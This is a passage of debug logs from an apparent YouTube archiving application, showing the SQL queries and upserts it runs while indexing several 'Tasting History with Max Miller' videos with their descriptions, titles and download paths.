s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:15.225 [debug] QUERY OK source="media_items" db=1.6ms idle=962.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 00:00:00Z], 3] 02:51:15.227 [debug] QUERY OK source="media_items" db=1.2ms idle=522.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "20faf335-2f9e-4577-bdb4-ecfc005015c0", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, false, 3, [], 98, ~U[2026-02-03 00:00:00Z], ~U[2026-03-29 06:51:15Z], ~U[2026-03-29 06:51:15Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", nil, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", false, 3, ~U[2026-02-03 00:00:00Z]] 02:51:15.227 [debug] QUERY OK source="sources" db=0.2ms idle=234.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:15.228 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:15.228 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8307] 02:51:15.228 [debug] Current batch of media processed. Will check again in 1000ms 02:51:16.229 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "filename" => "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", "id" => "R9Kw_3c88bQ", "original_url" => "https://www.youtube.com/watch?v=R9Kw_3c88bQ", "playlist_index" => 9, "title" => "Did This Meal Kill Mozart?", "upload_date" => "20260127"} 02:51:16.230 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:16.230 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:16.232 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 3] 02:51:16.234 [debug] QUERY OK source="media_items" db=1.5ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "01a1710e-87ac-494c-918a-8659ec1208df", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, false, 3, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-29 06:51:16Z], ~U[2026-03-29 06:51:16Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", nil, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].NA", false, 3, ~U[2026-01-27 00:00:00Z]] 02:51:16.234 [debug] QUERY OK source="sources" db=0.2ms idle=530.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:16.235 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:16.235 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7804] 02:51:16.235 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", "id" => "zjMQgMshYM8", "original_url" => "https://www.youtube.com/watch?v=zjMQgMshYM8", "playlist_index" => 10, "title" => "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "upload_date" => "20260120"} 02:51:16.236 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:16.236 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:16.238 [debug] QUERY OK source="media_items" db=1.3ms idle=1.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 00:00:00Z], 3] 02:51:16.241 [debug] QUERY OK source="media_items" db=3.3ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "cbbd583f-85f3-4ee6-82c8-998a30ff0899", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, false, 10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, false, 3, [], 98, ~U[2026-01-20 00:00:00Z], ~U[2026-03-29 06:51:16Z], ~U[2026-03-29 06:51:16Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - \u00A0\u00A0\u00A0•\u00A0The\u00A0London\u00A0Gin\u00A0Craze\u00A0and\u00A0Beyond\u00A0\u00A0\nVideo on Gruel - \u00A0\u00A0\u00A0•\u00A0What\u00A0is\u00A0Gruel?\u00A0\u00A0\nVideo on Lobscouse - \u00A0\u00A0\u00A0•\u00A0Lobscouse,\u00A0Hardtack\u00A0&\u00A0Navy\u00A0Sea\u00A0Cooks\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", nil, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].NA", false, 3, ~U[2026-01-20 00:00:00Z]] 02:51:16.242 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:16.242 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:16.243 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7349] 02:51:16.243 [debug] Current batch of media processed. Will check again in 1000ms 02:51:17.243 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].NA", "id" => "J0OHUwVLPdM", "original_url" => "https://www.youtube.com/watch?v=J0OHUwVLPdM", "playlist_index" => 11, "title" => "The Pastry War - When France invaded Mexico over pastry", "upload_date" => "20260113"} 02:51:17.244 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:17.244 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 